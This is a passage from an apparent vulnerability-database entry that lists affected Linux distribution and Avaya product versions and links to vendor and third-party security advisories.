                                            Redhat>>Linux >> Version 7.3

                                              Redhat>>Linux >> Version 9.0

                                                Suse>>Suse_linux >> Version 1.0

                                                  Suse>>Suse_linux >> Version 8

                                                    Suse>>Suse_linux >> Version 8.1

                                                    Suse>>Suse_linux >> Version 8.2

                                                    Suse>>Suse_linux >> Version 9.0

                                                    Suse>>Suse_linux >> Version 9.0

                                                    Suse>>Suse_linux >> Version 9.1

                                                    Suse>>Suse_linux >> Version 9.2

                                                    Ubuntu>>Ubuntu_linux >> Version 4.1

                                                      Ubuntu>>Ubuntu_linux >> Version 4.1

                                                        Configuraton 0

                                                        Avaya>>Intuity_audix >> Version *

                                                          Mandrakesoft>>Mandrake_multi_network_firewall >> Version 8.2

                                                          Avaya>>S8300 >> Version r2.0.0

                                                          Avaya>>S8300 >> Version r2.0.1

                                                          Avaya>>S8500 >> Version r2.0.0

                                                          Avaya>>S8500 >> Version r2.0.1

                                                          Avaya>>S8700 >> Version r2.0.0

                                                          Avaya>>S8700 >> Version r2.0.1

                                                          Conectiva>>Linux >> Version 10.0

                                                          References

                                                          http://secunia.com/advisories/20163
                                                          Tags : third-party-advisory, x_refsource_SECUNIA
                                                          http://www.debian.org/security/2006/dsa-1082
                                                          Tags : vendor-advisory, x_refsource_DEBIAN
                                                          http://www.mandriva.com/security/advisories?name=MDKSA-2005:022
                                                          Tags : vendor-advisory, x_refsource_MANDRAKE
                                                          http://www.redhat.com/support/errata/RHSA-2005-017.html
                                                          Tags : vendor-advisory, x_refsource_REDHAT
                                                          https://bugzilla.fedora.us/show_bug.cgi?id=2336
                                                          Tags : vendor-advisory, x_refsource_FEDORA
                                                          http://www.debian.org/security/2006/dsa-1070
                                                          Tags : vendor-advisory, x_refsource_DEBIAN
                                                          http://www.redhat.com/support/errata/RHSA-2005-016.html
                                                          Tags : vendor-advisory, x_refsource_REDHAT
                                                          http://secunia.com/advisories/20162
                                                          Tags : third-party-advisory, x_refsource_SECUNIA
                                                          http://www.redhat.com/support/errata/RHSA-2005-043.html
                                                          Tags : vendor-advisory, x_refsource_REDHAT
                                                          http://www.trustix.org/errata/2005/0001/
                                                          Tags : vendor-advisory, x_refsource_TRUSTIX
                                                          http://www.redhat.com/support/errata/RHSA-2005-092.html
                                                          Tags : vendor-advisory, x_refsource_REDHAT
                                                          http://www.debian.org/security/2006/dsa-1067
                                                          Tags : vendor-advisory, x_refsource_DEBIAN
                                                          http://www.securityfocus.com/advisories/7805
                                                          Tags : vendor-advisory, x_refsource_FEDORA
                                                          http://www.debian.org/security/2006/dsa-1069
                                                          Tags : vendor-advisory, x_refsource_DEBIAN
                                                          http://www.securityfocus.com/bid/12190
                                                          Tags : vdb-entry, x_refsource_BID
                                                          http://marc.info/?l=bugtraq&m=110512575901427&w=2
                                                          Tags : mailing-list, x_refsource_BUGTRAQ
                                                          http://www.securityfocus.com/advisories/7806
                                                          Tags : vendor-advisory, x_refsource_FEDORA
                                                          http://secunia.com/advisories/20202
                                                          Tags : third-party-advisory, x_refsource_SECUNIA
                                                          http://secunia.com/advisories/20338
                                                          Tags : third-party-advisory, x_refsource_SECUNIA